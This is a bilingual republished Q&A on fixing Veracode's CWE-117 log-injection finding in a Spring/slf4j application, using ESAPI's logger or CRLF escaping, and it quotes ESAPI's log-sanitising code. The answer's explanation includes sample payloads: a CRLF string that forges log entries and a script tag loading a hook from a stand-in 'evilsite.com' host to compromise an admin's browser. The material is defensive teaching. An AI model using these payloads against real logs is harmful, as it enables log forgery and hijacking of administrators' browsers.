如何修复Veracode CWE 117(日志输出中和不当) [英] How to fix Veracode CWE 117 (Improper Output Neutralization for Logs)

查看:1137
本文介绍了如何修复Veracode CWE 117(日志输出中和不当)的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

有一个Spring全局 @ExceptionHandler(Exception.class)方法,它记录了这样的异常:

There is an Spring global @ExceptionHandler(Exception.class) method which logs exception like that:

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode扫描显示此日志记录已错误日志输出中和并建议使用ESAPI记录器。有没有办法在不将记录器更改为ESAPI的情况下修复此漏洞?这是我遇到此问题的唯一代码,我试图找出如何以最小的更改来修复它。也许ESAPI有一些我没注意到的方法?

Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?

P.S。当前记录器是log4j over slf4j

P.S. Current logger is Log4j over slf4j

UPD:
最后我使用了ESAPI记录器。我以为它不会使用我的默认日志服务,但我错了,它只是使用我的slf4j logger接口和适当的配置。

UPD: In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI具有log4j记录器和记录器工厂的扩展。可以配置在ESAPI.properties中使用的内容。例如:

ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory


推荐答案


有没有办法在不更改$ b $的情况下修复此漏洞b记录器到ESAPI?

Is there any way how to fix this vulnerability without changing logger to ESAPI?

简而言之,是的。

TLDR:

首先要了解错误的严重性。主要关注的是伪造日志声明。假设你有这样的代码:

First understand the gravity of the error. The main concern is in falsifying the log statments. Say you had code like this:

log.error( transactionId + " for user " + username + " was unsuccessful."

如果任一变量受用户控制,他们可以使用 \ r \ n对于用户foobar是成功的\ n 因此允许他们伪造日志并覆盖他们的轨道。(好吧,在这个人为的情况下,只是让它有点难看发生了什么事。)

If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks. (Well, in this contrived case, just make it a little harder to see what happened.)

第二种攻击方法更像是国际象棋移动。许多日志都是HTML格式化的,可以在另一个程序中查看,对于这个例子,我们将会假装日志是要在浏览器中查看的HTML文件。现在我们注入< script src =https://evilsite.com/hook.jstype =text / javascript >< / script> 并且您将使用最有可能作为服务器管理员执行的利用框架来浏览浏览器......因为它怀疑CEO是否会正在阅读日志。现在真正的黑客可以开始了。

The second method of attack is more of a chess move. Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser. Now we inject <script src="https://evilsite.com/hook.js" type="text/javascript"></script> and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log. Now the real hack can begin.

防御:

一个简单的防范是确保所有带有userinput的日志语句都会转义字符'\\ \\ n'和'\ r'有一些显而易见的东西,比如'֎',或者你可以做ESAPI做的事情并用下划线逃脱。只要它一致,它就没关系,只要记住不要使用会让你在日志中迷惑的字符集。类似 userInput.replaceAll(\ r,֎)。replaceAll(\ n,֎);

A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore. It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log. Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

我还发现确保精确指定日志格式很有用...这意味着你要确保你对日志语句需要有一个严格的标准,并构建你的格式以便捕获恶意用户更容易。所有程序员必须提交给派对并遵循格式!

I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier. All programmers must submit to the party and follow the format!

为了防范HTML场景,我会使用[OWASP编码器项目] [1]

To defend against the HTML scenario, I would use the [OWASP encoder project][1]

As为什么建议实施ESAPI,它是一个经过实战考验的图书馆,但简而言之,这基本上就是我们所做的。请参阅代码:

As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do. See the code:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

参见第398-453行。这就是ESAPI提供的所有逃避。我建议也要复制单元测试。

See lines 398-453. That's all the escaping that ESAPI provides. I would suggest copying the unit tests as well.

[免责声明]:我是ESAPI的项目联合负责人。

[DISCLAIMER]: I am project co-lead on ESAPI.

[1]: https:// www.owasp.org/index.php/OWASP_Java_Encoder_Project 并确保您在进入日志记录语句时对输入进行了正确编码 - 每一点都与您将输入发送回用户时一样多。

[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.

这篇关于如何修复Veracode CWE 117(日志输出中和不当)的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆